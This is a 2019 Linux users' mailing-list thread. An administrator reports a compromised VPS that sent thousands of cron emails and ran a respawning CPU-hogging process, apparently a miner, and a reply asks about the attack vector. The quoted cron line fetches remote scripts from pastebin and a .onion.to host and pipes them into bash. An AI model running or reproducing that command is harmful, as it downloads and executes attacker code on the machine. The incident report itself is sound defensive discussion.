[ale] I was hacked!

[Dow Hurst]

Just curious, did you have a really good password on root? Like more than
16 random characters? I would expect you would, but am curious about what
you think is the attack vector. Root access via a password through ssh
would still be tough if the password is long enough and completely random.
Sincerely,
Dow
⚛Dow Hurst, Research Scientist
       340 Sullivan Science Bldg.
       Dept. of Chem. and Biochem.
       University of North Carolina at Greensboro
       PO Box 26170 Greensboro, NC 27402-6170



On Mon, Nov 4, 2019 at 5:40 AM Jim via Ale <ale at ale.org> wrote:

> I run a server on  a VPS for an organization I support pro bono. I gave
> up trying to run a mail server a while ago and started using mailgun.
> Mailgun is free for the first 10,000 emails per month and I knew
> something was wrong when I received a bill for $10 from them.  Seems my
> server that used to send less than 500 email suddenly sent nearly 20,000
> last month.  I started investigating and found that the emails were all
> sent from root to root on the same machine.
>
> Here's one of them:
>
> Delivered: root at xxxx.org → root at xxxx.org 'Cron <root at xxxxs> (curl -fsSL
> https://pastebin.com/raw/9QVpd02i||wget -q -O-
> https://pastebin.com/raw/9QVpd02i||python -c 'import urllib2 as
> fbi;print fbi.urlopen("https://pastebin.com/raw/t3B4cpC8").read()'||curl
> -fsSL https://pastebin.com/raw/TwuQybiQ||wget -q -O -
> https://pastebin.com/raw/TwuQybiQ||curl -fsSLk
> https://aziplcr72qjhzvin.onion.to/old.txt -m 90||wget -q -O -
> https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T
> 60)|bash' Server response: 250 OK
>
> They were being sent every few seconds.  I also observed a process named
> "watchdog" that was consuming all of my cpu 100% of the time.  Every
> time I looked a the process table, I saw it at a different PID.  There
> was no way to kill it.  I did a locate search for watchdog and didn't
> find it, which wasn't a surprise.
>
> I also noticed an entry in root's crontab that I didn't put there.  I
> edited it and removed it and a few seconds later it reappeared.  It
> looked a lot like the contents of the messag in that it was a series of
> curls, wgets, python scripts piped into bash.
>
> At this point I figured that the system was hosed and even if I could
> remove the offensive malware, I would never trust it again.
>
> The system wasn't perfectly locked down.  I did use an alternative ssh
> port and only one normal user had sudo group.  I didn't have root locked
> out of ssh.  I know, shame on me.  I was running fail2ban, but these
> days that's a bit of a waste of time since when the bad guys get locked
> out they just use a different IP address.  I checked ip addresses in the
> mail.log file and all that I looked at were Amazon sites, probably aws.
>
> I'm guessing whatever was running was mining bitcoins or something.
>
> Just in case the bad guy got in from the host, we're changing the VPS
> provider.  I do have complete backups.  The web pages are served from a
> normal user so even if they compromised something there, which I doubt,
> the normal user has no root access.  The only things I'll restore from
> the root user are scripts which I will inspect.  I think I'll be OK but
> if anyone has any suggestions, let me know.
>
> The new server will not allow password access to ssh.  Only allow ssh
> keys.  There are only 3 users on this machine and I'm the only one who
> would know what to do with root access, so I'll have sudo permission and
> no one else.
>
> Thanks for listening.
>
> Jim.
>
> _______________________________________________
> Ale mailing list
> Ale at ale.org
> https://mail.ale.org/mailman/listinfo/ale
> See JOBS, ANNOUNCE and SCHOOLS lists at
> http://mail.ale.org/mailman/listinfo
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <https://mail.ale.org/pipermail/ale/attachments/20191104/6f50a913/attachment.html>